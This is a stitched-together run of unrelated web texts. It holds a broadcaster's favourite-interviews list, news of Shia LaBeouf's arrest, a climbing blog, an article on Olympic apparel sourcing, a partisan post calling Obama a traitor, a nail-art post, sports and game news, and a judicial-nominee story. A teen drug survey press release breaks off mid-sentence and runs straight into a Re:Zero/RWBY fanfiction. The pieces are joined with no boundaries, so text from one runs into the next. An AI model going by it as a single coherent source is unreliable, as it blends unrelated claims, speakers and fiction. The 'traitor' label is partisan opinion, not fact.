Sometimes it can be a disappointment to meet a famous actor or musician if they are rude or dull, although I try not to bring any expectations to the encounter, especially if I'm a fan of their work. After all, the work should stand alone.
But sometimes it's so lovely to walk away from an interview feeling as if your appreciation of the person is enhanced.
To be honest though, I tend to get more pleasure from interviewing non-celebrities.
They are not jaded by the experience of having been interviewed thousands of times and are often thrilled at the chance to talk publicly about something they love.
Here are my favourite interviews from 7.30 for 2015:
10. ANU astrophysicist Dr Brad Tucker on the New Horizons probe reaching Pluto 10 years after its launch
I actually didn't have that much interest in this subject (although everybody else on the globe seemed to be going crazy for it) until Dr Tucker appeared on the program.
He was so incredibly enthusiastic and passionate, he completely won me over.
I loved his use of the word "plutastic" to describe how excited he was. It was very endearing.
9. Former military commander Major General John Cantwell on leadership
Major General Cantwell is a genuine national hero and he speaks in such a compelling manner.
I thought his insights into leadership were fantastic.
It's such a relief also, after interviewing politicians most of the time, to sit down with somebody who answers questions directly and concisely.
8. Rugby league legend Johnathan Thurston on his amazing year in football
This guy's laugh alone made me happy to be in his presence.
It's great to see somebody giving back to their community, especially somewhere like North Queensland, which has more than its share of hard times.
7. Wordsmith David Astle on the expansion of the Scrabble dictionary
It's not very often that the second I start an interview with somebody, I can tell we have great chemistry and it's going to be lovely TV.
This was one of those. It's an absolute delight when it happens because I immediately relax and feel like I can be myself and just have a conversation, instead of an "interview".
I so enjoyed this chat with David Astle on a subject about which I was unable to remain objective.
As with Dr Brad Tucker, his passion was infectious. And his knowledge blew me away.
6. Harvard professor Atul Gawande on end of life care
Atul Gawande writes incredible books and articles about medicine in action, from his perspective as a surgeon.
Of recent times, he's turned his attention to end of life care.
He's so insightful and articulate, it was a pleasure to speak to him about an important topic that gets insufficient attention.
5. Musician Tim Minchin on his musical Matilda opening in Australia
Tim Minchin is so smart and talented, I just hate him really. He's another person with whom I think I have TV chemistry.
The interviews feel like conversations over which somebody is running a camera. He never fails to interest and engage me.
TV chemistry, by the way, is a weird, intangible thing.
Sometimes I meet people with whom I don't much connect in real life and then we get on camera and it works.
Other times, I can really like somebody in real life and it just doesn't translate on screen.
4. Actor Harrison Ford on playing Han Solo again
I was worried about doing this interview for two reasons.
One, Harrison Ford has a reputation as a difficult interviewee because he's reportedly taciturn and prickly.
Two, Star Wars was an integral part of my growing up and I think it's a risk to interview somebody who can mess up your nostalgia for your childhood (I felt the same about interviewing Julie Andrews this year).
But both fears were unfounded.
Harrison Ford was very pleasant and he did something which celebrities must do to make an interview work: act as if you haven't been asked the same question 8,000 times already (like "How did it feel to walk onto set again as Han Solo?").
I came away retaining my love of Han Solo and Indiana Jones, so thank you Harrison Ford for keeping my childhood intact.
3. Three stories
Okay, these aren't interviews. But there are so many amazing stories on 7.30, I couldn't make a list without acknowledging them.
These are just three of the stories that made a big impact on me this year:
Producer Lesley Robinson came up with one of the most heartwarming stories I've ever seen, about people who need a little bit of extra help to find romance.
Reporter Mark Willacy convinced police to give him extraordinary access to tell the story of how they broke open a major crime ring. This story was absolutely riveting and I applaud the police who appear in it because I know it's always a risk to give this sort of inside access. I thank them for trusting 7.30 with what happened and also for the incredible work they did getting these absolute scum locked up. It had to come at a big emotional price to the police who did the legwork.
Reporter Louise Milligan told the story of a Victorian primary school principal who is putting enormous work and heart into giving his kids the leg up they need. As he so memorably says, "the 3047 postcode does not determine your destiny — where you start doesn't matter, it's where you end up that counts". These are the people who make a real difference in our community.
2. Jockey Michelle Payne and Strapper Stevie Payne on winning the Melbourne Cup
The feel good story of the year. I felt great for days after talking to these two.
What an incredible family story. Hats off to their dad who must be amazing.
1. Former National Gallery of Australia director Betty Churcher on dying and her love of art
Betty Churcher was a very well-loved arts identity who did much to teach people about art and share her love of it.
She agreed to an interview with 7.30 in the final weeks of her life, sharing her thoughts about her life and facing imminent death.
Betty was the most glorious person, full of energy and passion right to the end.
I couldn't have admired her more and I keep a photograph of her in my phone to remind me how I'd like to be when I get to her age.
Topics: journalism, community-and-society, human-interest, australia
First postedUPDATED, 5:10 PM with LaBeouf apology: Video footage of Shia LaBeouf’s arrest for drunkenness, disorderly conduct, and obstruction in Savannah, GA has surfaced and his behavior is less than cordial. While in custody at the police station, the actor can be seen and heard making racist remarks to a black police officer implying that he would be going to hell because of his skin color. He goes on to accuse the cops of being racist and arresting him for being white. His tirade continues towards a white officer, telling him that his wife looks at porn depicting “black d***”.
Days after his expletive-filled outburst, the American Honey actor took to Twitter to apologize saying “I am deeply ashamed of my behavior and make no excuses for it.” He adds, “My outright disrespect for authority is problematic to say the least, and completely destructive to say the worst. It is a new low.
This continues LaBeouf string of erratic behavior which can be traced back to 2014 (possibly even before that) when he announced he was retiring from public life and wore a paper bag on his head to the red carpet premiere of Nymphomaniac. Months later he was arrested for disorderly conduct during a performance of Cabaret. Following that was a cluster of incidents and stunts including a livestream of his own heartbeat, a very strange audition for War Dogs, which he reportedly did after spending the night in jail as well as an arrest for public intoxication in Austin. Earlier this year, he was arrested and charged with misdemeanor assault and harassment during an anti-Donald Trump rally.
PREVIOUSLY, (July 8, 2017): Shia LaBeouf, on location near Savannah, GA filming indie The Peanut Butter Falcon, was arrested early this morning and charged with obstruction, disorderly conduct and public drunkenness.
The Chatham County Sheriff’s Office booking log indicates LaBeouf was arrested at 4 AM and placed on a $7,000 bond. He was released about seven hours later after posting the required $3,500.
According to the Savannah-Chatham Metropolitan Police, officers arrested LaBeouf after the actor became disorderly at Savannah’s City Market:
Around 4:00 a.m., Shia LaBeouf, 31, approached a bystander and an SCMPD officer near the intersection of Barnard Street and West St. Julian Street, asking for a cigarette. When LaBeouf wasn’t given a cigarette, he became disorderly, using profanities and vulgar language in front of the women and children present. He was told to leave the area and refused, becoming aggressive toward the officer. When the officer attempted to place LaBeouf under arrest, LaBeouf ran to a nearby hotel. LaBeouf was arrested in the hotel lobby, where his disorderly behavior continued. LaBeouf was charged with obstruction, disorderly conduct, and public drunkenness.
LaBeouf is filming The Peanut Butter Falcon with Dakota Johnson and Bruce Dern. Deadline has reached out to the film’s producer, Lucky Treehouse Production.
The Peanut Butter Falcon is described on the producers’ website as “an adventure story set in the world of a modern Mark Twain that begins when Zak (22), a young man with Down syndrome runs away from a nursing home where he lives to chase his dream of becoming a professional wrestler…”
LeBeouf plays Tyler, described by Lucky Treehouse as “a small time outlaw on the run” who “becomes Zak’s unlikely coach and ally.”
The film is being directed by Tyler Nilson and Michael Schwartz, co-founders of Lucky Treehouse making their feature debuts.
LaBeouf was arrested earlier this year following an altercation at his “He Will Not Divide Us” art installation in New York, though the charges were later dropped. In 2014, he was arrested after disrupting a Broadway performance of Cabaret, and later sought treatment for alcohol abuse.
The City Market neighborhood, a popular historic and nightlife district, had already made national headlines this week after a late-night July 4th celebration ended in what police say was gang-related gunfire, resulting in a police chase and a car crash that left three people dead.Big news! My ass is better, and I can climb again. All it took was a trip to the Hospital…boulders, that is. They’re in northern Alabama, by the town of Gadsden, a short hop down the freeway from HP40. The stone is good, with a handful of very fun problems in every grade and projects galore. The best part is that we own it. Let me explain…
We’ve been in Chattanooga for a little while now, though without our trailer. It needed a new axle, which took nearly three weeks – this is a long story in itself, but we are now reunited. Without our wheeled home, it was necessary to surf the couches of some very generous Chattanoogans: Greg, Mike, Les, John and the Crash Pad, and most recently, Cody and Greg (two distinct Gregs). We actually met Cody and Greg back in Joe’s Valley, though we didn’t climb together. Anyway, they are the ones who showed us the Hospital Boulders.
Cody is the Development Coordinator for the Southeastern Climber’s Coalition. The SCC bi-annual board meeting was recently held at Cody and Greg’s. We sat in on the meeting and got a behind-the-scenes look at the struggle (and it is a struggle) to secure access to climbing areas in the southern states.
Every crag is a unique challenge. There may be one friendly landowner or twelve hostile ones. The cliff may be public, but the land you belay from might not be. Unlike the western states, where so much of the climbing is found on land that is wide open, public, and comparatively lawless, most of the land out here belongs to someone. The SCC uses strategies to make sure climbers can enjoy as much of it as possible, ranging from handshake-style agreements, to easements (where the owners get a tax break for allowing access to part of their lands), and even outright purchase in the case of the Hospital Boulders. Many climbing areas nearby require a day fee. Hospital is free.
The boulders sit on a hill overlooking the valley that contains the I-59. Tucked behind a neighborhood and a water tower, and with a negligible approach, is a maze of narrow sandstone corridors with walls 30 feet high. Surrounding these mini-towers are dozens of boulders hosting awesome problems like Hustle and Flow (V10), Eddie (V7), and a good number of V0-V5 climbs of a very fun and friendly nature.
I wasn’t expecting to climb much, if at all this trip. Four days prior I couldn’t hangboard because doing so somehow pulled against my tailbone in a most painful manner. Greg was convinced the climbing would be too good to pass up, and whether it was that or the three Advil, I was indeed feeling pretty good.
Not many people visit the area, and many of the climbs needed a decent scrub and a little chalk-prep. Some of the outlying boulders will be great once the break-y things break. Speaking of, I did manage to break a hold on a problem that had just been established earlier that day by another group. And yes, that makes two sessions in a row that I’d broken a hold. I promise to slim down. Anyway, the point is that there is plenty left for anyone with a brush to put a name on, from beginner to expert.
With Thanksgiving behind us and all of our body parts relatively uninjured, we’re eager to get back into the groove. Of course, the weather had other plans; now we’re holed up hiding from the rain that is soaking the entire region this week. We might head to the Obed to clip some ‘biners, since the roofs will stay dry, but otherwise we’ll be catching up on some long-overdue blogging, photo posting, and video editing. Look forward to some profiles of other local satellite areas, too!
EDIT: There is currently no camping at the Hospital boulders, though this may change in the near future. Does anyone know of any nearby camping options?
EDIT 2: There is, according to a local on Reddit, camping at Noccalula Falls State Park nearby, but I have not confirmed anything about price or opening hours. Here’s a link for the city of Gadsden’s page on the campground.“Canada is a great country and I believe that we stand for more than slave labour and child labour. It’s awful.” Clara Hughes Canadian Olympic medallist
Team Canada's Olympic hockey players will be wearing jerseys made in Canada, a Nike spokeperson says. ( Frank Gunn / THE CANADIAN PRESS )
A former Canadian Olympian and amateur sporting legend wants to make the shadowy world of Olympic garment production more transparent. A decade ago, Bruce Kidd led an effort that saw the University of Toronto join a watchdog group that demands its apparel partners disclose the names and locations of factories where their clothing is made. The school’s apparel licensees, which include Adidas, New Era Hats and Roots Canada, must agree to release safety and workers rights inspection reports, as well as measures taken to correct violations. Kidd, the former dean of the faculty of physical education and health at the University of Toronto, said that while he has been told by Canadian Olympic Committee staff that the organization has an ethical sourcing policy, he is concerned that the policy is not publicly available.
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“Factory disclosure (the names and addresses of the factories) is a commitment to transparency,” Kidd said. “It shows that there is nothing to hide in the production line and enables independent monitoring. Olympic athletes represent the best values of youth and competition and athletes should not be competing or marching in uniforms that exploit people, especially children.” The Canadian Olympic Committee’s current policy, which does not appear on its website, requires that its partners, including the Hudson’s Bay Company, monitor the garment factories it hires for rights violations. Any changes to the policy would not come in time to cover products licensed for the 2014 Winter Games. “We are proud to have once again partnered with HBC as the design team of Canada’s Olympic apparel for the Sochi 2014 Olympic Winter Games,” said COC spokesman Dimitri Soudas. “The COC requires each of its official licensees to have a robust social and ethical work compliance policy with assurances it is regularly reviewed for best practices.” Soudas referred the Star to the companies to answer questions such as who monitors overseas factories, how often inspections take place, and if labour and safety standards have been breached. HBC said all of the 2014 Olympics-themed clothes produced for consumers were made in China. Eighty-five per cent of the clothes made for athletes were made in Canada and the remainder in China. The company won’t release the names and locations of all the factories it works with but said it would confirm if it buys clothes from a specific factory. The company also does not make public specific factory inspection reports, details about corrective actions or penalties to individual suppliers.
Adidas, which also makes clothing for Canada’s bobsled and skeleton teams, has its Canadian Olympic clothing made in four factories in Vietnam, China, Indonesia and Cambodia, a company spokesperson wrote in an email providing the factory names. Nike spokeswoman Claire Rankine said all of the Team Canada Olympic hockey jerseys worn by players in Sochi would be made in Canada. Replicas sold to consumers, as well as shirts, hoodies and other items, would be made at factories in Indonesia. Nike releases online the names of all of its 774 supplier factories, Rankine said.
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In the six months since the Rana Plaza collapse in Bangladesh killed 1,129 workers, factory owners and retailers have been under growing pressure for increased transparency, which, according to Bob Jeffcott, a policy analyst with Toronto-based Maquila Solidarity Network, makes it easier for other stakeholders — such as consumers — to pressure for change. The University of Toronto is among several hundred universities that belong to the Workers Rights Consortium, a Washington-based watchdog. In 2009, student groups learned that Russell Athletics had closed a factory in Honduras because its 1,200 employees had voted to form a union. Under pressure from students, 96 schools, including the University of Toronto, either ended or threatened to end their contracts with Russell. The retailer subsequently agreed to rehire all of the fired employees. In 2010, pressure from student groups prompted Nike to agree to contribute $1.54 million to a worker relief fund for 1,800 workers in Honduras who were not paid severance when two factories making Nike apparel closed. Initially, Nike said the factories weren’t making university-branded apparel, but the company later agreed to help the workers as student groups ratcheted up pressure. “There’s a great comparison there between the university-branded clothing and the Olympic apparel” Jeffcott said. “The Olympics have these ideals of fair play and sportsmanship and I’m sure that the athletes competing for Canada would want to know that the workers making their uniforms are being paid fairly, the same as university students care.” Clara Hughes, among Canada’s highest-profile Olympic athletes, said she expects the COC to have an aggressive ethical sourcing code, although she said she has not asked the COC about its current policy. “From a purely humanistic standpoint, I think (ethical sourcing) policies like that are crucial.” Hughes told the Star. “I don’t know enough about this to comment on what the COC’s policies are,” she said. “But (in) my opinion, yeah, absolutely there should be something very transparent in place that’s followed so you would never see a Canadian Olympic athlete competing or wearing anything that’s made in that manner. Canada is a great country and I believe that we stand for more than slave labour and child labour. It’s awful.” Other prominent Olympic medal winners, some with individual endorsement contracts with Canadian retailers, refused to comment. HBC’s refusal to provide details about the working conditions within the specific garment factories it hires is especially troubling, Jeffcott said, because the company acknowledges in corporate filings that 68 per cent of its audited suppliers in 2012 had workers-rights-related “issues to work on” at their factories. Hudson’s Bay Co. spokesperson Tiffany Bourre wrote in an email that information about factory locations or audits is proprietary and confidential. “Some factory workers do not want to talk about where they work because they don’t want to jeopardize future employment opportunities,” Bourre said. “Some factory owners do not want their names disclosed in the public because it could jeopardize future business with other customers.” By contrast, Jeffcott said, the giant Swedish retailer H&M earlier this year released the names of the 800 factories where it buys clothing. (Hudson’s Bay buys from 750 factories.) “It’s bizarre for HBC to say it’s proprietary,” Jeffcott said. “Other large retailers like H&M and Nike, Levi’s and Adidas have all released their factory lists and none have said it has hurt their competitive advantage.” Adidas spokeswoman Silvia Raccagni wrote in an email: “The disclosure of our global supply chain list has not led to any competitive disadvantage.” Following the Rana Plaza disaster, Hudson’s Bay joined the Alliance for Bangladesh Worker Safety, an agreement that was formed by 20 retailers, as well as union leaders and government officials. Hudson’s Bay and other retailers such as Walmart and The Gap have promised to inspect all of their factories within a year and then correct major safety problems. But the alliance has said it will not release inspection reports. Another retailer group, the Accord on Fire and Building Safety, with 110 members, including Joe Fresh, will publicize the inspection reports it commissions. HBC has, in a corporate filing, acknowledged the majority of its factories fall below the company’s workplace standards. In its 2012 Corporate Social Responsibility report, Hudson’s Bay writes that 68 per cent of factories it audited received the grade: “Subject to improvement.” That grade, the company said, is “given to factories that have issues to work on, such as first-aid training, issuing local benefits and improving record-keeping.”The damage done by the traitor in the White House is incalculable. The devastating effects of his disastrous administration will be felt for generations to come.
“U.S. Stopped Blacklisting Domestic Terror Charities Under Obama,” by Eli Lake, Bloomberg, May 12, 2016 (thanks to Blazing Cat Fur):
The last time the federal government designated a U.S. charity as a front for terrorist fundraising, President Barack Obama had been in office for less than a month and Osama bin Laden was still at large. On Feb. 11, 2009, the Treasury Department designated the Tamil Foundation, a Maryland-based charity allegedly raising funds for the Tamil Tigers, a Sri Lankan foreign terrorist organization that today barely exists.
Since then, the Obama administration has overseen a financial war against Iran and targeted the oil revenue of the Islamic State. The Treasury Department has pressured banks to cut ties with terrorist fronts and worked closely with Gulf states to modernize financial systems and crack down on dodgy charities and other money launderers.
But the practice of blacklisting charities inside the U.S., a key tool of President George W. Bush’s war on terrorism, has come to a standstill under Obama.
Many experts and some members of Congress are beginning to ask why. Susan Phalen, the communications director for the House Homeland Security Committee told me this week that her committee was beginning to look into the issue. Jonathan Schanzer, a former terrorism finance analyst at Treasury, told me, “My understanding, based on conversations with several senior Treasury officials, is that this is no longer a Treasury function.”
Schanzer, who is now the vice president of research at the Foundation for the Defense of Democracies, added that Treasury’s Office of Terrorism and Financial Intelligence “sees itself as more of an global intelligence shop, leaving the domestic work to domestic agencies like the FBI.” He continued: “My concern is that the FBI may be overwhelmed with direct threats to the homeland, thereby relegating domestic terrorism-finance cases to a third- or fourth-tier priority. Is anyone taking the threat of domestic terrorism finance as seriously as the Treasury did back in its heyday? I don’t know.”
No Treasury official agreed to talk about this issue on the record. But a spokeswoman told me in a written statement that “there is no change in policy regarding designating U.S. persons that violate sanctions, and it is incorrect to claim that Treasury principals or staff have said otherwise.” The spokeswoman added that it remains a priority to take action to protect the U.S. financial system overseas and in the U.S.
And yet an examination of the Treasury’s own website that lists charities designated for terrorist fundraising shows a precipitous drop since Obama came into office. Between the Sept. 11, 2001, attacks and the February 2009 designation of the Tamil foundation, the U.S. designated eight major U.S.-based charities for terrorist fundraising. These included al-Qaeda fronts such as the U.S. branch of the al-Haramain Foundation and the Benevolence International Foundation. In this period, the U.S. government also blacklisted groups that raised money for the Palestinian terror group Hamas, including the Holy Land Foundation, and for the Lebanese militia and political party Hezbollah, like the Good Will Charitable Organization.
While the Obama administration has not designated any U.S. charities since its first month in office, it has nonetheless continued to squeeze not only al-Qaeda but also Hezbollah and Hamas. On Wednesday, Daniel Glaser, the assistant secretary of Treasury for terrorist financing, told the Foundation for the Defense of Democracies that his office has waged a campaign over the last five years to keep Hezbollah out of the international financial system….How was everyone's Memorial Day? I hope most of you got to enjoy a long holiday weekend with loved ones. Sadly I had to work Monday so I didn't get the extra day, but I did have a great weekend.
Today's post is a lot of fun. I really enjoyed this look. My base color for this look is China Glaze Thistle Do Nicely. Thistle Do Nicely is a neon pink that leans coral in some lights. It's gorgeous and didn't give me any problems formula wise which is a bonus! I actually wore this on it's own for a day before adding on to it.
*all products featured in this post were purchased by me
I then took striping tape and laid down different designs on each nail. I haven't used striping tape in a while and really wanted to have some fun. Some designs were more complicated than others, but overall they worked well together. I then painted on one thick coat of OPI French Quarter for Your Thoughts on each nail. The gray was the perfect contrast to the neon, creating a fun peek-a-boo look.I really enjoyed this look. Which design is your favorite? Mine is the middle and ring fingers.Enjoy & until next time, Amy LeeThere is a general sense that the 49ers’ West Coast Offense is more complex than That Offense They Ran Last Year.
When it comes to beating the blitz, though, San Francisco’s has simplified things, as wide receiver Josh Morgan explained Wednesday.
Last season, Morgan said, an opponent’s blitz set off a chain reaction on the offense. The receivers would cut off their routes and the quarterback would find the open receiver.
That sounds fairly simply, actually. But Morgan said too often the offense didn’t work in concert. That is, not every pass-catcher correctly recognized the blitz, leading to breakdowns.
“Sometimes we would get it wrong and sometimes we would get it right,” Morgan said. “But when you’ve got other people trying to do the quarterback’s job, then you’ve got miscommunication. He’s holding the ball because he doesn’t really know where we’re going to go and vice versa.”
This season, the pass plays have built-in, blitz-beaters – a hot route such as a slant, screen or checkdown that Smith can look to when he gets blitzed.
“Last year we had so much going on that they put on Alex’s mind when it came to the blitz,” Morgan said. “This year, we don’t have to cut our routes short or anything. We don’t have to do anything. We just have to let Alex find that weak spot like he always does.”
So far, so good.
According to statspass.com, Smith’s 132.1 rating against the blitz ranks second in the NFL (behind some guy named Brady in New England). Smith has completed 18 of 24 passes for 229 yards with two touchdowns and no interceptions against the blitz this season.
Last year, Smith had a 78.7 rating against the blitz. He completed 64 of 106 passes for 828 yards with three touchdowns and four interceptions.
* Smith, obviously, has been less effective when teams don’t blitz.
In non-blitz situations, he has an 87.7 rating (54 of 83, 566 yards, 2 TDs, 1 INT).
Smith said he welcomes opponent’s pressure.
“I think this team sees the capability we have when teams do pressure us, we get the one-on-ones, we get people isolated in zones, or whether it’s man, and chances for big plays,” Smith said. “And especially the fact that we’ve done it now the past few weeks and deep pressure, no question. I’m excited for when it comes.”
* In this story on Smith that ran in today’s paper, I wrote that he ranked third in the NFL against the blitz this season with a 124.8 rating. Those stats against the blitz were updated during the week, thus the discrepancy from the numbers above (132.1, second in NFL).Aftercharge is a multiplayer FPS in which a team of three invisible robots does its best to wreck stuff, while a team of three invincible guards tries to stop them. Next weekend, you'll be able to judge for yourself how it's coming along, as developer Chainsawesome Games is holding a three-day "open alpha," which will be the game's first public playtest.
"In Aftercharge, one team of three invisible robots works to destroy six energy extractors on the map, while another team of three indestructible (and heavily-armed) human(oid) guards attempts to stop them," the developers explained. "Each team features three class types uniquely suited to combat the opposing team’s individual abilities."
"On the defending Enforcers team, choose between invincible guards Striker, Liquidator and Builder. When on the attack team as an invisible Workonics droid, dismantle extractors as Glitch, Bubbles and the newly revealed today, Cyclops. Alternate characters to explore new offensive and defensive tactical options and strengthen your team’s strategy."
It's an odd concept, but one we played back in June and it made a really positive impression: Maintaining gameplay balance is always an issue in asymmetrical shooters, "but central to Aftercharge’s hook is how the contrasting strategies of each side balances against the baseline boon of not being seen or not worrying about death," we wrote. Maybe you can't die, in other words, but it's still pretty easy to lose.
The Aftercharge open alpha will run from October 13-15, while the full game is expected to be out in early 2018. More information about the game is up at afterchargegame.com, and we've got some screens and new gameplay footage below.This article is over 1 year old
Matthew Petersen drew national attention when he failed to answer rapid-fire queries from the Republican senator John Kennedy
A White House official said on Monday that the Trump judicial nominee whose qualifications were questioned by Republican senator has withdrawn his nomination.
Matthew Petersen has no business wearing judge's robes | Richard Wolffe Read more
Matthew Petersen, who was nominated by Trump to the United States district court for the District of Columbia, has been the subject of widespread ridicule since he was unable to define basic legal terms during his confirmation hearing on Wednesday.
A White House official said Petersen had withdrawn his nomination and that Trump had accepted the withdrawal. The official spoke on condition of anonymity because the official was not authorized to discuss the development publicly.
During the hearing, Senator John Kennedy, a Republican, began his line of questioning to the five candidates present for the hearing by asking if any had not “tried a case to verdict”, to which Petersen raised his hand.
Kennedy, a trained lawyer, zeroed in for a rapid fire line of questioning on some key legal principles that turn up in federal court cases:
“Do you know what a motion in limine is?” Kennedy asked.
“I would probably not be able to give you a good definition,” Petersen responded.
“Do you know what the Younger abstention doctrine is?” Kennedy continued.
“I’ve heard of it, but again,” Petersen responded, trailing off.
Trump's judicial picks: 'The goal is to end the progressive state' Read more
Petersen is currently serving as a commissioner with the Federal Election Commission. Trump nominated him for the prestigious and pivotal federal circuit court of the District of Columbia in September.National Survey Shows Teen Marijuana Use Down in 2012
WASHINGTON, D.C. – One of the nation’s foremost surveys on teen drug use found that teen marijuana use is down slightly nationwide. It also shows teen cigarette use has reached an all-time low, highlighting the potential benefit of regulating marijuana and controlling sales to teens.
The annual Monitoring the Future Survey released Monday by the National Institutes of Health found that from 2011 to 2012:
Daily marijuana use decreased among 8th- and 12th-graders, while remaining the same for 10th-graders.
Past-30-day marijuana use decreased among 8th- and 10th-graders, while increasing only slightly among 12th-graders.
Annual marijuana use decreased among 8th- and 10th-graders, while remaining the same for 12th-graders.
The survey also found that teen cigarette use decreased to an all-time low among all age groups, demonstrating that strict regulations and public education have been effective means of reducing teen use. According to the |
ica dealt with this issue. While it did make life easier on him personally with guards turning a blind eye, it also meant that the other Archbishops were able to prosper. Once that kind of system was torn down, then the guards will start reporting to the Knights. Heck, maybe even Reinhardt would get involved and finish off Capella for him. Subaru would owe him twice if that were the case.
Subaru let out a sigh, dragging his mind back to the previous topic. What exactly was he to do? Retracing his steps was out of the question; Subaru couldn't waste another four days. Attacking everyone was just an idiotic solution. Then the idea of just ignoring his woes was the cowards way out. Truly, Subaru wished he was more of a intellectual type. The only way Subaru could possibly get out of this was to get on everybody's good side. Or flat out ignore everyone.
That meant he was going to have to kiss some major ass, or be a prick to everyone. Subaru sighed, the answer being simple. He had no intention of dying again, so he had no wish to get on everyone's bad side. Subaru sighed, realizing he needed to kiss major ass.
But who should he start with?
"Ah, Mr. Natsuki. So this is where you've been hiding." That voice was familiar. Even before he looked to the side, Subaru guessed who his visitor was. Who wouldn't? He was the only man who walked around with a cane, that even now tapped with an almost uncanny rhythm to it. looking to the side, he spotted the familiar gray hair and black suit that no one other than Ozpin wore. "I must say, you sure gave Professor Peach a run for her money. At least, you frightened her enough for her to loose track of you."
"Heh, yeah. I'll have to apologize to her later, huh?" Subaru responded, more of a statement than a question. Ozpin didn't respond, instead taking this chance to sit next to Subaru, smiling and waving at a group of students.
"Now, don't get me wrong Subaru, I know it must be frightening waking up in a familiar environment, but I'd prefer it if you didn't worry our best Medic on hand." Ozpin said, Subaru looking down in guilt. He didn't really trust Peach all that much, but he could understand she does what she does because she cares. "But, enough with the lecture. I'm sure you will get enough of that later on. For now, let's just relax and take in the scenery."
To that, Subaru gave a appreciative nod. Ozpin must've sensed something was troubling him if he was allowing for Subaru to relax. Last loop Ozpin had been insistent on hurrying to the dormitory, a much different attitude than his current one. Subaru was grateful nonetheless.
Slowly, his mind drifted back to the current situation. In that moment, Subaru decided who he should start with if he needed something done. The one that was the peskiest of them all.
Yang Xiao Long.
"You're just a conman! Trying to trick my sister and get close to her! I bet you don't even have any proof!" Yang yelled, pressing her finger against Subaru's chest.
Subaru held back a curse. He was half tempted to sick a nasty Shamak on her again, but held back. That wouldn't do if he wanted to follow a different path than the last loop. Besides, She was just concerned for her sister, which Subaru could get behind. He'd probably be the same if he had a sibling. Maybe. Familial attachment wasn't really a thing for Subaru, so it was hard to tell. With a sigh, he wore a plastic smile, shrugging.
"You're absolutely right! Caught me red handed!" Subaru conceded, surprising both Ozpin and Ruby, Yang grinning in triumph. Subaru detested lies, but if it was out of necessity, he wouldn't blame whoever did the same in his bout of hypocrisy. Putting one hand in his pocket, he clenched it as tight as he could, his Pride turning to shame as he practically bowed to the blonde Hunter. "At the time, I thought I was using Magic, but I guess I was actually using my Semblance. Fox helped me realize that. My apologize."
The silence that followed was… unnatural. Subaru looked around nervously, unprepared for this kind of reaction. He expected a yell of triumph from Yang, or Nora freaking out about Something or other, not complete and utter silence. Ren had even stopped flipping his pancake, watching him suspiciously. Subaru would have taken note of that, if everyone else weren't doing the same.
"You're joking? Right?" Ruby was the first to break the silence. Her face mimicked the distress in her voice, but it was hard to catch if you weren't paying attention. "Subaru, you're joking! You told me about The World Above! The-the Knights of Lugnica! Magic! You cant be real! It was all a lie!?"
Subaru hadn't anticipated this at all. Ruby seemed genuinely distressed by his words. Sure, he expected the self proclaimed fantasy freak to be a bit upset at this, but not to this extent. Subaru wasn't able to back down now however. Something he learned a long time ago was that you never go take back something you said, as you'd just be labeled a liar. Subaru resisted the urge to grit his teeth, continuing to kiss Yang's ass.
"No, I still remember the world above, but I'm unsure if it's real." Subaru said, the words coming out of his mouth unintentional. Subaru bit his tongue, cursing himself at the improvised lie. No one seemed to catch on, or nobody pointed it out, as no one spoke up.
"So, it isn't real…" Ruby said, her face mirroring defeat. She started to walk to the entrance, silent.
Unknown to Subaru, it wasn't just the fact that The World Above being fake that brought her down, but the doubt she felt towards her own being. The images of Subaru's Claw played over and over in her mind, but she did her best to rid her thoughts of them. If she was delusional enough to believe in The World Above, then she was delusional enough to be seeing things that weren't even there.
"Ruby." Yang called, but the younger sister didn't respond. Looking nervously to her team, Yang gave a worried look. "I'm sorry guys, but I'm gonna go talk with her. I'll catch up later!"
With that, Yang and Ruby disappeared. Subaru cursed under his breath, an odd sense of Déjà vu running through his system. This was just like the previous loop, but much, much worse. Sure, Yang and Ruby weren't mad at him (maybe), but now he was outed as a liar. Subaru silently wished he'd just retrace his steps, risking angering whoever was his killer.
Maybe that was his problem? He didn't even know if it was someone in this group or not. He should have just followed the same route as last loop, but stayed up on the fourth night. This could potentially escalated the situation to tonight, instead of Friday. That was a problem for later though, he needed to deal with the present.
"Is she going to be alright?" Subaru asked. Admittedly, he was slightly worried about the young Rose, as she had proved to be a reliable ally in the battle against Garfiel. While it was true that she wasn't directly involved, she had requested Sun to aid him in battle. If he hadn't showed up, Subaru was unsure if he'd even be free from Garfiel's Wrath.
Weiss sighed, turning to Subaru with a relieved look. "She'll be fine, that idiot always bounces back from things like this. I can't remember the last time that Ruby was down for longer than a week." Weiss said, giving him a grateful look. "But thank you for telling the truth. She's been going on and on about how great and powerful you are, coming from The World Above and all that. I wasn't sure if she would ever get out of that faze."
"I'm not sure that's a good thing though." Pyrrha spoke up, looking worried. "Ruby has always fantasized about Fantasy Life. I think that's what keeps he going. To have it teased like that in front of her just to be out down might be hard on her."
"I agree with Pyrrha." Jaune said, adding in his two cents. "Most of the time when we practice she's just been talking about The World Above and how magical it is. Even if it's just a fairy tale our Moms told us at night, it might have hit her harder than it looked."
"Either way, what's done is done." Ozpin said, his voice sounding… dangerous. Like he was holding a kid hostage, threatening to end their life. That caught Subaru off guard. "Right now, I have a small favor to ask. Would one of you kindly escort Mr. Natsuki to his classes and around school if you so wish?"
"Ah, actually, I'm fine." Subaru said, Ozpin raising an eyebrow at this. From the looks of it, Ozpin did not look happy about that at all. "Okay, never mind."
"Oh! We will! We will!" Nora yelled, jumping up and down, her right arm waving wildly. Subaru would have paled if he wasn't more composed than he normally was. The show and tell with Team SSSN had been, for the lack of better words, hectic. It may have been due to the anti-socialness of The Cult, but Team SSSN was a bucket full of excitement and laughter that was almost too much for Subaru. Nora was that and more. He had seen her devour a gigantic bowl of noodles (weird name for a food) and go on a jog afterwards. This girl had the hyperactivity of a Dragon Carriage on drugs.
'Please don't agree. Please don't agree.'
"If you so insist." Ozpin responded, Subaru almost slamming his head on a table in frustration.
This was going to be a long day.
Beacon Academy
Tuesday
Sometime after school
"This, my grand compatriot, is the one, the only, Dormitory!" Nora yelled, exasperating her movements. Subaru raised an eyebrow at her, as did her teammates sharing looks of confusion.
"I… I was here this morning, you know that, right Nora?" Subaru asked, lazily pointing a finger at the building. Nora waved off his question, letting out a loud 'Pshhh' as she did so.
"Of course I knew that! I was asked specifically to escort you around, and that's exactly what I'm going to do, whether you like it or not! Even if you have already been there, do you understand!"
"Nora, we weren't'specifically' asked to do anything. You volunteered us." Ren corrected, causing Nora to place a finger on his lips, shaking her head back and forth.
"Tsk. Tsk. Tsk. You worry to much about the details, Ren! It's not the destination, but the journey we embark that makes life so meaningful! Don't you agree!?"
